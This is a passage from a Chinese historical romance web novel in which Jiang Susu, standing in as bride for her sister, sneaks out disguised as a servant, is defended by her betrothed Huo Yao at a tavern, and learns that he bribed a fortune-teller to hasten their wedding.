苏苏回房间后让云蝶出去通知霍尧初十他们回去庙里祈福的事，请他打点好道士。
霍尧听南五通报完后，嘴角浮起一抹坏笑。
“去找个道士来。”
南五点头，“是，少爷。”
他侧躺在榻上，把玩着竹玩兔子，微掀起眼皮，“姜苏苏那小白兔还真以为我会按照她说的做？”
江湖道士走南闯北，有的靠真功夫有的全靠一张骗人的嘴，好的不好找满大街的半吊子道士到处都是。诶，这还恰巧让南五在街上碰到个名震京城的道士。
领道士进霍府，道士身上挂的一身破烂叮当响，嘴里还一直啧啧啧。
见到霍尧才打住了嘴，恭敬道，“见过霍公子，老夫听闻您是想算与未婚妻的八字和提亲的日子，这老夫擅长，不过收费不便宜。”
霍尧一看这道士，哪像个道士样，分明是个街上乞讨的乞丐。
他起身皱着眉招手让南五过来，道，“你从哪儿找来的？这一整个丐帮帮派嘛。”
南五遮着嘴，小声道，“少爷，小的在街上好不容易找到的真道士，其他的都是穿的像道士去骗人的，你别看这大师像丐帮的，但他说他名震京城。”
霍尧持起手里的扇子就敲了敲南五的头。
“他说他名震京城你就信？去找个看上去就是道士的来。”
让这穿得像丐帮似得去说他和姜苏苏的八字天作之合，谁信？
“可是…少爷……”南五摸着脑袋。
霍尧转身侧躺到榻上，抻着个脑袋，“给银子送客。”
这是打发走的意思，道士察觉到面前这位的不信任，坐下就把身上的东西摊开来，叮铃哐啷一阵。
“公子若是不信，老夫便给你算上一卦。”
霍尧浓眉一蹙，侧目。
道士盘坐在地上一顿天花乱坠地操作，可谓是花拳绣腿十足。
有这功夫不好生弄身道士衣裳。
就在他这么想着时，道士手上的动作停了下来，一脸深沉又阴翳地看着他，看得他发毛。
“这么看着小爷作什么？”
道士沉道：“公子会被一个姑娘欺瞒搭上终身。”
霍尧还以为他要说什么，抿唇无语摆了摆手，“南五，送客。”
他怎可能被女人欺瞒，还搭上终身？这不说笑呢嘛。
这下南五也觉得遇到个骗子了，赶紧把人拉起来打发出去。
“诶诶，老夫还没说完呢，公子要注意未婚妻有问题——”道士被推着，边走边说。
-
苏苏在屋里想着那日在春雅酒楼看见石于程的事，是她认错人了还是程哥哥真的还活着。
手里捏着红纸鹤，她心下越想越坐不住。
她要去查证。
在酒楼碰到过一次，那应也能碰到第二次，她当即让云蝶偷偷给她找了身小厮的衣服来。
换上后她交代好云蝶和文妈妈打掩护就出门去酒楼。
她一身小厮打扮没有人认出她是个女子，只是今日进酒楼却被拦在了门外。
“这里是消费的，没钱别来闲逛。”酒楼一伙计没好气地道。
苏苏身上确实没带银子，但此前她进酒楼都没人拦她，怎么今日就拦住她了。
思索后，她蹙眉，眸光一动道，“我是来找霍公子的。”
伙计打量她一阵，“霍公子今天没来，走走走，别在这儿碍事。”
说着酒楼伙计就不留情面地轰她走，苏苏连退了几步，正当她想该怎么混进去时，她看见霍尧来了。
霍尧侧目对旁边的谢沉道，“小爷就是想整她，谁让她说我自恋。”
谢沉还没说话，魏宇桀急道，“那你真娶她的话，这牺牲也太大了吧，想整她有其他的法子啊。”
谢沉问道，“诶，那姜姑娘知道要嫁的人是你了，还是非要嫁给你？”
霍尧一怔：“……这婚约的事难道她还能反抗不成？”
魏宇桀耷拉着个脸叹了声气转目就见一小厮站在他们面前。
眼熟。
“你们家新来的小厮？”他问霍尧和谢沉。
霍尧看着姜苏苏又是这
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身打扮，掀眸道，“又来找我干嘛？”
听见这一“又”字，谢沉和魏宇桀二人相视一看，异口同声地说道，“哦，你就是那天阿尧看见我们来了就着急忙慌拉着走的那小厮。”
姜苏苏颔首没讲话，抱拳行了礼。
既然他们俩没认出她，她也并没有打算揭露身份。
谢沉蹙眉瞧这小厮长得眉清目秀，漂亮得紧，眼熟。
没等他问，霍尧无奈瞥了他一眼，“看什么看，没见过小厮啊。”
说着他就带着姜苏苏走到前面去。
他没个正行的靠着墙道，“有什么事赶紧说。”
姜苏苏淡蹙着眉心，抬眸道，“霍公子，我想进酒楼去，你能不能带我进去？”
霍尧倒是不觉得女人进酒楼有什么问题，何况她还打扮成这副模样。
不过他倒是好奇她进酒楼做什么。
顿了片刻，他抬了下眉，“不可以。”
说着他佯装抬脚就走，他以为苏苏会拦着他问为什么，但她并没有那样做，而是一声不吭地直接跑到酒楼门口朝他指了指，就丝滑地进去了。
霍尧：“……”
他抿唇抬脚过去，酒楼伙计恭敬颔首道，“霍公子您的贴身小厮在里面。”
闻言，霍尧皱眉道，
“她说是我的小厮？”
伙计点头显得有些茫然。
霍尧气得轻笑了声。
挺会利用他啊。
谢沉和魏宇桀走到他旁边，魏宇桀张望了下里面，问道，“阿尧，你家新来的小厮啊。”
霍尧紧抿双唇，道，“嗯，新来买来的小厮。”
谢沉绞尽脑汁地想，“我怎么觉得挺眼熟啊？”
魏宇桀得到了共鸣，连声附和，“对吧对吧，我也觉得眼熟，但始终想不起是谁。”
“阿尧……”
谢沉正想问些什么时，霍尧只留给他们一个背影。
进去酒楼，霍尧看她又在那挨个扒拉人，只当她特殊癖好，懒得管她了径直上了楼到了包厢。
霍尧点了小烤羊排，兔腿，就悠闲地枕着胳膊躺下了。
谢沉进来道，“阿尧，怎么不让你的小厮跟着上来？”
这时魏宇桀进来拿酒壶和酒盏就出去了。
“我到外面去欣赏歌舞。”
谢沉笑着摇头，“你不准点歌舞伎，逼的他都跑外面站着看楼下的了。”
“歌舞有什么好看的，不觉得很吵？”霍尧不以为然掀了下眼皮，“这里也就羊排和兔腿还不错。”
谢沉抬眸看了他一眼，边倒酒边笑道，“方才我想起你那新来的小厮像谁了。”
他一愣，缓然坐起来，装傻道，“谁啊？”
谢沉抿唇卖着关子，端着酒盏抿了一口。
霍尧笑了声，随手抓了个梅子干扔到嘴里，没个正行地扯着唇。
“你少在这儿套我话。”
“诶，我可一句话没说啊。”谢沉大笑着双手一摊，十分无辜地做派。
他转目看向谢沉，轻笑了下。
姜苏苏女扮男装来酒楼，要是人尽皆知了，他还怎么实施娶了她再整她的计划。
13. 13
酒楼古琴奏鸣，舞姿悦人。
魏宇桀一壶酒下肚上了头，摇摇晃晃走进包厢，含糊着道，“阿尧…嗝，你那个小厮好像惹麻烦了。”
霍尧抬眉，语气不起波澜，“她惹得麻烦多了。”
小二端来的羊排摆放到面前，“大人们慢用。”
小二出去后，霍尧伸手拿了块羊排，边吃边问道，“她惹什么麻烦了？”
魏宇桀走过来，一屁股坐下摇了摇头，“不知道，楼下吵得不行没听清，应该是惹到哪个权贵了吧，有侍卫冲出来了。”
谢沉看向霍尧冷静地没说一句话。
只见霍尧下咽地动作愈发缓慢，说了一句，“今天这羊排太柴，不好吃。”话落丢到桌上，人向后一靠，掀眸，“你俩先玩着，我去下茅厕。”
魏宇桀摸着脖子站起来，“一起去，我喝的有点多得去排排。”
霍尧顿住脚，“怎么那么多事儿啊，憋着。”
说完就抬脚出去了。
莫名被损了一句，魏宇桀两眼发蒙问谢沉，“他这…又犯什么病了？”
谢沉往门外望了眼，转目笑意盈盈地调侃道，“他恐怕都不知道自己怎么了，我们又怎知道。”
霍尧站在楼梯口就看见侍卫拔了剑指着姜苏苏。
他下楼走去，人群让道，走到姜苏苏旁边看了她一眼，可怜又倔强地含着一眶眼泪。
“这就被吓哭了？”
姜苏苏僵站着一言未发，忍着眼泪，憋得小脸发红。
他叹了声，抬手挡开指着她的那把剑，转目面向侍卫，“谁让你在这里拔剑的。”
侍卫言辞激烈，“林卫，林大人，请不相干的人让开，小心我抓人误伤了。”
霍尧嗤笑了声，“抓人？她啊？”
“你也不看小爷同不同意。”
这时酒楼老板听一旁的伙计说这是霍家小厮，便出来打圆场道，“啊呀，霍公子，方才您家小厮不懂事冲撞了林大人，所以才生出这些矛盾，您何必为了一个小厮大动干戈。”
霍尧冷言道，“今天抓霍家小厮走，就是抓我走。”
酒楼老板眼珠子绕了一圈，不明白这小厮怎得用得着这么费神，让抓进去关上一阵就放出了来的事儿啊。
霍尧对侍卫道，“回去告诉林卫，人我霍尧带走了，想要人到霍府来请。”
侍卫茫然一沉，霍尧？坏了那次任务的人。
他紧盯霍尧一眼，抱拳缓道，“原来是霍公子，对您多有冒犯还望海涵。”
霍尧沉眸未语。
僵持一阵，酒楼老板上来又劝道，“霍公子，您今日的酒钱，本店给您免了，您卖我个面子大人不记小人过，行吗？”
“你认为小爷缺你一顿饭钱？”
“不……不是。”
霍尧转目朝姜苏苏抬了下眼，“给我道歉没用，给她道歉。”
酒楼老板和侍卫都怔住了。
给一个小厮道歉？
酒楼老板皱眉道，“霍公子，您看这…是不是不太合适。”
“哪里不合适了？”霍尧语气强硬，一点不退让。
姜苏苏在他身后指尖捏得发疼，霍尧这样帮她，她实在没想到，许是她答应退婚了，所以才帮她吧。
侍卫沉了一阵，收起剑上前抱拳道，“对不住，请海涵。”
姜苏苏点了点头，侍卫招手带人走了，围观人群散开。
霍尧转头看向她，勾着唇角向她走来，臭屁道，“怎么样，崇拜小爷了没？”
苏苏：“……”
方才是有些崇拜，就是现在又开始自恋了。
她抬头望着他眨了眨睫羽，柔声道谢，“方才多谢了。”
霍尧勾着笑，心道：“口是心非。”
沉了沉，问道，“你究竟来酒楼做什么？”
苏苏眸光微暗下来。
方才她找到程哥哥了，但他已经不叫石于程了，他成了林卫，林大人。
他说不认识她，让侍卫拔剑驱赶她，冷漠得让她陌生。
苏苏没回答，感觉时辰不早了，赶紧颔首抱拳道，“多谢魏公子相助，告辞。”
她脑袋里想着事，迷糊间根本没注意自己道错了人，转身就走出酒楼。
在她走后，只见霍尧气得跳脚，“小爷是霍尧！霍尧！什么魏公子！！”
骂骂咧咧回了包厢，霍尧坐下眸子带气。
谢沉瞧见便问，“事情没解决？”
霍尧倒了杯酒仰头一饮，酒盏哐当落桌，“魏公子究竟是谁？！小爷的名字都记不住，还把我这张完美的脸和魏公子弄混。”
在榻上睡得正香的魏宇桀被这一声惊醒了一瞬，半眯着眼哼哼了两声，“怎么了，怎么了？”发现没事又躺下去睡了。
谢沉扬了扬下巴道，“哝，那儿不就躺了个魏公子。”
霍尧蹙眉，完全没把魏宇桀放在眼里，头都没抬，“我和他不可能弄混。”
又倒了一盏酒，喝完他扯着嘴角往后靠，眸子微眯沉道，“等着吧，让你记不住小爷。”
谢沉一脸明知故问地样子笑道，“你不是去上茅厕了嘛，怎得还把自己气成这样？”
“我去帮那小厮撑腰了。”霍尧不假思索地回答。
“哦——”谢沉缓然点着头，笑得合不拢嘴，“那个小厮是姜苏苏吧。”
闻言，他侧眸看着谢沉顿了良久，坐起来道，“别说出去啊。”
谢沉抿唇做了个封口的动作，他才放心后靠软榻。
怕谢沉误会，他自顾自地说道，“我这是为了整她。”
谢沉忍不住笑出了声，“谁问你了？”
霍尧：“总之别误会。”
谢沉抿着唇点头，看来病得还不轻啊。
-
姜家，谭柳慧带着姜云安突然到姜苏苏院子找人。
文妈妈忙从厨房出来，神情泰然拦道，“夫人，小姐在房里休息了。”
谭柳慧哼了声，脸色阴沉像是事先知道了什么地盯了眼文妈妈，“把房里的人给我叫出来，否则别怪我把这院子的人都发卖了。”
文妈妈看向姜云安站在一旁心虚的眼神，又听谭氏这语气，意识到是瞒不住了，只好去把云蝶叫了出来。
云蝶出来哆嗦着认错，谭柳慧看见云蝶后攥紧了帕子，沉声让姜云安回自己院子不准出来，然后带着人朝南院走去。
此时的姜苏苏刚从狗洞钻进院子，转身用稻草把洞遮掩好，一转头就见谭柳慧带着婆子丫鬟出现在她眼前。
“母亲……”她声音很低。
谭柳慧怒声吩咐婆子，“把小姐带到祠堂家规伺候。”
婆子应声：“是。”
姜苏苏被带到祠堂受了戒尺，罚跪了一晚上，第二天中午才放她出祠堂到正厅受训。
谭柳慧皱眉坐在夫君身边，姜云安低眉顺眼地站在旁边，一声都不敢吭。
姜华临看着她穿着家中小厮的衣裳就一肚子的气，压不住的火，指着她的手都在颤抖，“苏苏啊，苏苏，你这像什么话，被人知道了不仅你名节不保，整个姜家女眷的名节也葬
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送在你手里。”
苏苏跪在地上，低头认错。
“对不起，爹爹。”
“你告诉我，你偷跑出去都去了哪里？”姜华临拍案怒声问。
苏苏捏着手心，不敢说实话，“女儿…女儿去见了霍公子。”
扮成小厮偷跑出去已经这么严重了，去酒楼的事不能再被知道。
她只好说去见霍尧了，就算是找霍尧询问真相，她是真的见了霍尧，也能圆得过去。
“霍尧？”谭柳慧疑问，“就算是霍尧，还没成亲，你出去见他也是不懂规矩，你究竟去见他做什么？”
苏苏沉了片刻，咬着唇抬眸，“母亲，爹爹，我是出去和霍公子商量如何退婚了。他一开始就不想成亲，我也不想替嫁后再担惊受怕，苏苏恳求母亲和爹爹到时同意退婚。”
今天霍尧那样帮她，她得确保这个婚能退了。
“荒唐！”姜华临顿时提声，“你认为婚约的事是儿戏吗？说不嫁就不嫁，还商量退婚的法子，你简直翅膀硬了。”
吓得苏苏和姜云安都颤抖了一下。
苏苏抬眸道，“女儿不应该不和爹爹和母亲商量就擅自做主，女儿知错，但若是婚约退了就没有后顾之忧了，而且霍尧不想要这个婚约，若我嫁过去他也会挑我的错处，也会很快就暴露的，爹爹……”
“够了！”姜华临根本不想听，“今天霍家已经派人来要了你的生辰八字，明日一起去寺庙算提亲日子，你给我待在家里哪都不能去。”
“爹爹……”
姜华临没理会苏苏，让佣人搀扶着回屋了。
谭柳慧坐着沉眸看着苏苏问道，“你和霍公子商量的什么退婚的法子？”
苏苏紧抿着唇，眸光不由地往姐姐那边看了眼，姜云安低着头眼神飘忽不定不敢看她。
她顿了半晌，谭柳慧急怒道，“是不是和算八字有关？”
“我说你那天怎么非要给你爹提算提亲日子的事。”
苏苏垂着眸感没敢再说话。
谭柳慧语气坚硬，“你别忘了你现在顶得是安儿的身份，你的一言一行都算在她的头上，在成亲前我再发现你偷跑出去，我亲自拿戒尺家规伺候。”
说完带着姜云安离开。
文妈妈在门外扒着担心地紧，看人走了，赶紧来扶她起来。由于苏苏跪了一晚，手上又挨了戒尺的打，站起来时身子发颤地不行。
回屋后，云蝶哭着给她擦药，“小姐，疼就告诉奴婢。”
手心红一杠白一杠的，擦药时苏苏疼得皱眉，但嘴里却说着，“没事，不疼，还没庄上的虫咬得疼。”
在庄上的时候虫子很多，她徒手抓虫没注意就会被咬。只是疼肯定是没戒尺疼。
知道她一晚吃饭，文妈妈煮了些易消化的瘦肉粥来，“小姐，先吃点清淡的垫垫胃。”
文妈妈边轻吹着边喂她吃。
她吃了一口突然想起姐姐肚子不舒服，要吃清淡的，便道，“妈妈，待会儿你端一碗去隔壁给姐姐，她最近肚子不太舒服，也要吃清淡的。”
文妈妈不是太高兴地点点头，片刻后又道，“小姐，昨儿个是安小姐带谭氏过来的，我看安小姐那心虚的样子，像是她揭发的。”
苏苏抬眸坚信道，“妈妈，你多想了，姐姐不会的。”
是姐姐告诉她怎么出去，她相信姐姐是不会揭发她的。
而且姐姐也同意她去和霍尧商量退婚的法子，她想不到姐姐有揭发她的理由。
不过姐姐应该也偷偷出去过，姐姐出去是……
14. 14
次日清晨浓雾散去，姜家宅院门口候着马车，不过片刻姜家老爷夫人就在佣人搀扶下从院子出来上了马车。
马车往京城西边的慈云寺庙去，那边树木葱郁，香火鼎盛，三皇子的生母削发为尼后便是入的此所寺庙。
文妈妈瞧见人走了，连忙回屋告诉姜苏苏。
苏苏闻言心下愈发担忧起来，昨晚她一夜未眠，想了整整一夜，她以为把霍尧也不愿意要这个婚约的事告诉父亲就能更顺利的解除婚约，终究是她太过天真了，忘了父亲是个商人。
在利益面前，她的父亲从不会选择她。
只是眼下面临的事更为复杂了，父亲不会同意退婚，大娘子又猜到她想利用道士之言来退婚，霍尧那边安排好了道士定会被大娘子给揭穿。
铜镜里少女白皙的脸带着丝丝担忧，身后站着云蝶为她试戴簪子，她缓然伸出手把云蝶带到身前。
“云蝶，你去找霍公子，告诉他昨天发生的事，让他随机应变。”
云蝶点头，放下手中簪子就推门出去。
只见她刚出去，一声尖锐的嗓音便在院里荡漾开来。
仔细一听就只是姜云安房里的贴身丫鬟，素雨。
“你跑什么跑，当心冲撞了我家小姐！”她斜楞着个眼，睨着云蝶，撇嘴又嘟囔两声，“名字也讨人厌，犯主子名讳。”
云蝶低垂着头，屈膝歉道，“奴婢不是有意的，不知安小姐在门外，请小姐恕罪。”
姜云安被素雨搀扶着，面色看上去略显苍白，细眉微蹙一脸羞愁样儿。
“起来吧，你家小姐呢？”
云蝶起身，正要回话，苏苏在房里闻声出来了，看见姜云安面色不佳，她忙把人迎进屋里坐下。
文妈妈端来甜茶倒上，苏苏先递给了姜云安，柔声问道，“姐姐肠胃可好舒服些了？”
昨天文妈妈端瘦肉粥过去回来告诉她，姜云安吃了一口就吐了起来，只能躺在床榻休息才觉舒服。
她本想去看望，但门口守着大娘子带来的婆子不准她踏出院子。
姜云安沉了沉，抬眼点头，“好些了，我是来给妹妹解释母亲发现你偷跑出去的事儿的。”
苏苏唇瓣抿动了下。
“姐姐不必……”
话还未说完，姜云安便侧目淡道，“昨天母亲来我房里说让我一同去你房里教你作画，我一急就拦了一阵但没拦住，才让母亲察觉出了端倪。”
苏苏垂眸慢慢点了点头，沉思须臾她抬眼缓言问道，“我能否问姐姐此前出宅子是所谓何事？”
她话刚一问出口，姜云安眸色沉了半度，露出些许不悦，“我只是知道那儿有个狗洞，但从未敢出去过。”
苏苏凝着姜云安，黛眉淡蹙地眨了眨睫羽，抿唇点了点头。
姜云安拉过她的手，语气忽得急切，“若是这个婚约退不了，你会替我嫁给霍公子的对吧？”
她凝望了姜云安良久，抽离手，眸子看向看了会儿抬眸，“我们暂且再等等消息吧。”
姜云安抿了抿唇，不安地问，“妹妹不会是还想着那位姓石的旧友？”
苏苏愣了愣，摇头。
“姐姐误会了。”
苏苏知道若是退不了，按照如今的情况，为了姜家的脸面她必须嫁。
在她看来霍尧除了个纨绔公子以外，并不可怕，可在看姐姐的样子，好像霍尧会吃人。
姜云安对她的回答并不是太满意，转目就冷了脸。
不过这一幕苏苏并未看见，她本没有想起，但提起了心里便沉了起来。
程哥哥没有死，只是换了身份，她应该庆幸才对。
-
姜家霍家的马车一前一后停在慈云寺门口，两家长辈下马车大笑寒暄几句后便虔诚地踏进寺庙。
唯独霍尧四下张望，最后不耐烦地问，“姜苏苏呢？”
庙里静如落针可闻，他一开口长辈都愣了半晌，尤其姜家二老。
谭柳慧给姜华临使了个眼色，姜华临笑着便道，“小女还未出阁，还是暂且不来的好，所以姜某让她好生在房中休养了。”
袁舒兰含笑点头同意，霍君鹤也没意见。
霍尧半挑着眉，脱口而出，“让她在集市卖竹玩的时候怎么不说还未出阁了？”
姜华临嘴角抽抽的动了，却无法反驳，一言未语地与妻子尴尬对视。
场面一度开过僵硬，袁舒兰笑着圆场道，“看来真是两情相悦，已经开始维护苏苏了。”
霍尧浓眉淡蹙，不予承认，“谁维护她了？”
“实事求是。”
抱拳道，“既然她不来，我也告辞了。”
话音都还未落完，霍尧转身就大步离开。
霍君鹤一脸不争气的样子心里暗道：逆子。
袁舒兰看夫君面色凝重，生怕他在此发作上去教训霍尧，赶紧上前低声劝了劝，“由他去吧，等他成亲就好了，稳重都是成亲后才有的。”
霍君鹤嘴唇抿唇一线，朝霍尧的背影瞥了一眼，“我看他没救了，等成亲了又要出幺蛾子。”
霍尧刚准备踏出寺庙大门，就被端着饭菜的人撞了一下，暗青色长衫被粘上一片油。
跟在霍尧身后的南五看到后，五官乱飞地倒抽了口气：完啦。
对面的人忙颔首跪下。
霍尧深皱着眉，掸了掸，“你这个小厮……”刚一抬眼，愣了下。
姜家小厮的打扮。
“你是姜家的？”
对面未语点头，霍尧虽烦躁，但也没过于追究，摆摆手作罢。
南五一脸震惊，跟着他到马车跟前，“少爷，您咋知道那是姜家的小厮？”
霍尧回头望了眼，心道：上次姜苏苏就穿的那身衣裳，他还以为是她，但看身形不太相像，腰没那么粗圆。
他转目对南五没正行回答，“小爷鹰眼不是众所周知的？”
南五似懂非懂挠了挠头。
霍尧上马车吩咐道：“回府换身衣裳，去酒楼。”
“是。”
-
酒楼上，谢沉和魏宇桀在下棋。
谢沉落下黑子，仰着唇道，“听闻今日就定下阿尧的婚约了，夜明珠你可准备好亲手奉给我了？”
一听这话魏宇桀心思又乱了，饮了口酒，哼道，“乾坤未定，娶不娶还另说呢。”
魏宇桀抓了个白子潦草地在棋盘上落下。
谢沉看他酒蒙子的样子，笑了两声，“你还不了解阿尧那个人？他一听人姑娘不想嫁给他，说什么都要把人娶进门的。”
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闻言，魏宇桀眼珠子转的溜圆，心里算盘打了起来。
那反过来不就行了？
这么盘算了一阵，霍尧转眼就来了。
谢沉好奇问，“婚期订的哪天？”
霍尧手撑在身后，侧目看了眼没回答。
魏宇桀眼睛一下亮起来，挪了挪屁股问，“是不是不打算成亲了？”
他坐在棋盘中间，谢沉和魏宇桀坐在他旁边，一边一个都盯着他。
他伸手拿了个橘子在手里掂着，心里门清地道，“你们拿我打赌呢吧。”
魏宇桀和谢沉对视一阵，呵呵笑了两声。
霍尧扯着嘴角，哼笑了声，“她不想嫁给我，我怎么能让她如愿。”
谢沉弯着唇，一脸势在必得地样子看向魏宇桀。
魏宇桀拉耸着个脸，悔不过当初的表情。
当时怎么就被阿尧说绝不会娶姜家姑娘的言论给迷惑了。
霍尧心情不错地舒了口气笑道，“她今天要是知道婚期就定在下周，得气得跳脚吧。”
端起酒盏想到她气急的样子，他就想笑。
谢沉和魏宇桀一脸不理解地样子看着他。
不过谢沉倒是沉浸在夜明珠的喜悦里了。
三人中，恐怕只有魏宇桀独自失意，扁着个嘴看着霍尧，低声嘀咕道，“哎呦，看他这疯癫样。”
-
此时姜家二老刚回宅子不久，霍家的聘礼就成箱成箱地搬进宅子了。
足足二十车。
街坊四邻个个看得羡慕，“这姜家嫡女的福气当真好啊，与别的男子那样当街不清不楚都还能进门。”
有人道，“说不定是谣言，不然霍家那样的高门大户怎么看得上。”
“是啊是啊，谣言不攻自破。”
姜苏苏在房里抱着霍尧能随机应变的希望，等着传来解除婚约的好消息，没想到聘礼先行上门了。
看守在苏苏院门口的壮婆子撤走去前院帮忙清点聘礼了。
文妈妈扶着苏苏，惆怅，“小姐先别急，再等等云蝶那边传的消息。”
苏苏点点头。
过了一盏茶的时间，云蝶焦急跑着回来了，上期不接下气地说：“小姐，奴婢到寺庙的时候霍公子已经上马车离开了，没有来得及通知，不过奴婢打听了寺庙里的人，听到霍公子有打点庙里一个算卦的道士。”
“然后……”
“然后什么？”苏苏蹙眉急问。
云蝶缓了口气，“然后就听道士给老爷夫人说，小姐和霍公子婚期定在下周是良辰吉时。”
苏苏眸色沉了，手里的帕子紧紧攥着。
霍尧……
她说他当时怎么答应的那么爽快，原来是想整她。
文妈妈淡皱眉，惆怅道，“小姐打算怎么办？”
苏苏沉默垂眸。
看了这个亲她别无选择，可就这么向霍饶认输她不甘心。
“妈妈，你同我去隔壁看看姐姐。”
文妈妈点头，随她一起到隔壁，敲了好几下门，素雨才忙里忙慌地来开门，虚掩着个门道，“苏苏小姐有何事？”
“我有事与姐姐说。”苏苏道。
“我家小姐身子不适已经休息了，您请回吧。”素雨说完就把门关上了。
15. 15
苏苏没见到姜云安，又见素雨那番心慌觉得不像是所说的那样在房中休息。
况且早上时也还好好的呀。
莫非真是她心中所猜想的那样，姐姐是有心上人了所以瞒着大娘子出宅子了。
可前日她才刚被罚了，在这风头上出去难道不怕被大娘子抓到吗。
前院热闹，婆子照礼单挨着盘点聘礼，小厮搬到库房存着，整个姜家都处在不费力就发财了的喜悦中，谭大娘子脸上还装着见过大世面的矜持，姜老爷可就是一脸藏不住的鸡犬升天了的样子。
姜华临背着手，笑脸吟吟地舒了口长长的气，“还得是豪气的霍府出手大方啊，这不说我老爹当初救人救得好呢，不然那轮得到咱俩富贵。”
谭大娘子气成丹田地道，“要真的算起来，那还不是有我的一份功劳，当年若我不同意还宜小娘进门，如今苏苏还嫁得过去吗？”越说下巴越扬起了几分。
姜老爷此番沉浸在一脚踏入了金山银山之地便也不与妻子争这些鸡毛蒜皮的小事儿了，拍着妻子肩膀连声道是是是。
转目瞧见苏苏来了，亲切地唤道，“苏儿来啦，爹爹还想着让人去叫你呢，快来瞧瞧霍府给你送来的聘礼又多丰厚，唉~你这下可是风光了。”
谭柳慧一听发了一愣，瞪了他一眼，转眼又对苏苏变了脸色，笑着走去拉着她的手，抚着摸着，“哎呀，这风挺大的，怎么出来了，你爹爹一个大老爷们不懂聘礼这些事儿不由姑娘家操持，快先回去歇着别在成亲前病了，那可就不好了。”
姜苏苏不知道聘礼流程，但她知道谭柳慧的为人。
看谭大娘子见她在这时候来了笑得这般假意僵硬，她就知道这聘礼是羊入了狼窝，出来都得扒成皮了。
看着成箱成箱看着就精致的箱子被搬进库房，霍家真的是给足了她体面。
即便她是真的想要一个家，可霍尧不是真的想娶她。
嫁过去的日子也会是百般难熬吧。
姜苏苏淡笑着凝视了谭柳慧一瞬，礼节周到地屈膝行了下礼，抬眼道，“母亲，我想嫁到霍家后若是不知聘礼有多少，万一霍公子无意间与我聊起时，莫不是让人觉得是我装腔作势？正巧这文妈妈来了，我不懂的都让文妈妈替我代劳，也替母亲分担了清点礼单的劳累不是？母亲觉得呢？”
谭柳慧眼角抽抽两下，这丫头说的话圆滑世故，她若拒绝了不就落了吞聘礼的嫌疑了。
她爽朗笑了两声，“你这丫头，快嫁人了就不信任母亲了？难怪自古都说嫁出去的女儿泼出去的水啊。”侧目看向身旁的丈夫，想让他帮腔说上两句，没成想姜华临平时老奸巨猾，到关键时候就是一呆头瓜。
姜华临背着个手“主持正义”道，“诶，夫人你这话差矣，苏苏愿意替安儿嫁过去已经是咱亏欠她了，怎么还给人扣个不孝的帽子。”
谭柳慧脸色悄然沉了下来，挺着丈夫吩咐文妈妈去库房清点所有聘礼如实告诉苏苏账目。
文妈妈点头应是在谭柳慧沉沉的目光之下前去库房清点。
苏苏颔首屈膝行礼，淡道，“母亲，苏苏所言并非是不信任母亲，其一是替母亲着想，怕母亲太过操劳，其二还是怕嫁过去后露出破绽。”
谭柳慧闻她所言，脸色并未变得多好看，反倒是嘴角抽出了几下。
心下不悦道：嘴上说着要退婚不想嫁，现在却句句不离嫁过去后怎么怎么样来压她，怕不是巴不得嫁过去搁霍家嫡子那儿装矜持，玩欲擒故纵呢吧。
虽不悦苏苏不听她的安排，谭柳慧仍然以笑颜示人，“好好好，母亲就开个玩笑话，看把你和你爹给急的。”说完，斜楞了姜华临一眼。
姜华临不知所然地愣了一下，这些苏苏都看在眼里。
幸亏她爹还有些良心，不过时常有些窝囊，在这姜家还得看大娘子的脸色。
嫁不嫁霍尧的事她开始有些纠结起来。
若嫁面临的就是霍尧不会喜欢她，会整她，替嫁可能会被揭穿。若不嫁这个婚该如何退才能全身而退？
回了院子，苏苏坐在秋千上沉着眸子，杏色水波纹裙摆被风吹得微微飘动，白皙如玉的细腕在衣袖间若影若现，半垂着双眸宛如壁画上的仙子。
院静。风声，鸟声闻耳清晰，极为细小的咯吱一声门响便传入苏苏耳中。
清亮的眸子微抬，她转头望向和隔壁一墙之隔的院子。
沉思一阵她起身准备去隔壁印证猜想，不过刚跨出脚下的一步她顿住脚。
她如此做了便是以小人之心度君子之腹。
姐姐已经告诉她从未出去过，她现在过去与兴师问罪有何异。
思索到此她蹙眉缓身坐回秋千上。
云蝶站在一旁，“小姐可是想去办什么事？奴婢可以去替小姐办。”
苏苏半愁着眉头，缓缓摇头，“方才就是想到一些事了，不办也没事。”
云蝶抿唇点点头，“那小姐想办的时候告诉奴婢，小姐应该饿了把，奴婢去端些糕点过来？”
“好，去吧。”苏苏含笑。
云蝶走去一打开院门，姜云安和素雨就站在门口，两人好像在说着什么没预料到她会开门出来，一脸错愕。
素雨替主子先开了口教训道，“大胆，突然开门作甚？吓到我家小姐了。”
云蝶何等的冤枉，她垂着头正要道歉，苏苏走来脸上带着笑，语气却是向着云蝶的硬气，“这是在我的院子，开门还是关门是我和我房里丫鬟嬷嬷的事，难道开门还要请示你一个丫鬟吗？”
素雨哑口无言，一脸难看地扶着姜云安侧眸想让姜云安替她说话，结果没想到姜云安转头冷脸怒道，“蠢奴婢，该打。”启声说着便扬手要打去，苏苏赶紧拦住。
“姐姐，妹妹并非真的要责怪，只是希望院中和睦，无故之事不要乱怪罪。”她以理服人，不经不慢地说，再笑颜将人请进门，“姐姐快请进，别光站着了，我们进屋坐。”
姜云安点了下头随苏苏进屋里坐软榻上了。
苏苏
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房中没有点香，只有窗边开的那盆清幽的兰花香味，她嗅觉灵敏，从姜云安一进门她便问到有檀木香。
是寺庙里的味道，和今天大娘子身上染上的味道一样。
姐姐去过庙里。
她靠姜云安又坐得近了些，或许是她的动作太过明显，姜云安察觉到后往旁挪了挪，抿唇道，“妹妹可黏人。”
苏苏一愣，只好一笑带过掩饰问道，“姐姐身上可是放了什么香？”
姜云安眸子一沉，顿了下道，“啊，妹妹可能说的是今日我在房中点的檀香，有助安神之效，午间身子不适所以点了些香小睡了一会儿，若喜欢待会儿我让素雨给妹妹送些过来。”
闻言，苏苏片刻有些愧疚。
她方才竟又怀疑姐姐偷偷出宅子了。
姜云安凝着她垂着眸子，问道，“妹妹在想什么？”
苏苏抿唇，眸底含着内疚摇摇头，姜云安微不可察地淡笑着勾了下嘴角，“我睡醒后听素雨说你来找过我？妹妹可是有什么事？”
苏苏沉了半晌，微蹙着眉道，“霍府派人送来聘礼了，婚期就定在下周。”
她话音刚落，姜云安拉着她的手略显激动，“那可太好了，恭喜妹妹，婚期可算是定下来了。”
苏苏有些错愕，她告诉过姐姐对于要嫁的人是霍尧是怎样的心情的。
可此番，姐姐好像把之前的事当做没发生过。
她抿了抿唇问道，“姐姐忘了我和霍尧结过梁子的事了吗？”
